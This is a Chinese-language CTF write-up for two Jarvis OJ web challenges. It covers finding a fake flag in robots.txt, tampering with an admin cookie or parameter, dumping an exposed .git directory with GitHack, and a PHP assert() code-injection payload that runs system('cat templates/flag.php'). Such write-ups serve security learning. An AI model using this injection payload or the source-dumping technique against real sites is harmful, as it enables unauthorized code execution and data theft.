**
admin
**
打开页面发现。。。。就一个Hello World= =,查看源代码也无果,那么抓个包吧= =
emmmm,发现什么也没有,那么就robots.txt看看吧,发现果然有东西
web.jarvisoj.com:32792/robots.txt
访问这个后发现。。。。flag{hello guest}。。。。嗯。。。被骗了,提交这个没有用
那么在这个页面抓个包,再改一次admin= 1即可
**
babyphp
**
查看源码,发现有个hint耶。。。。看来是page传参
<!--<li ><a href="?page=flag">My secrets</a></li> -->
根据提示,有个git,于是想到了.git漏洞
参考博客 http://www.freebuf.com/sectool/66096.html
于是可以导出源码
python GitHack.py web.jarvisoj.com:32798/.git
可以找到index.php中的源代码
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
看来是个绕过。。。。
构造payload
','..')===False and system('cat templates/flag.php');//
于是就变成了
assert("strpos('"templates/" . ','..')===False and system('cat templates/flag.php');// . ".php"', '..') === false")
把前面的strpos函数给闭合了,调用系统命令查看template目录下的flag.php,再把后面注释掉
flag就出来了,美滋滋啊~~~
本文通过实战案例介绍如何利用常见的Web应用漏洞,如路径遍历和代码注入等,来获取隐藏的Flag。从分析源代码到尝试不同的攻击手段,最终成功获取到目标信息。
3021

被折叠的 条评论
为什么被折叠?



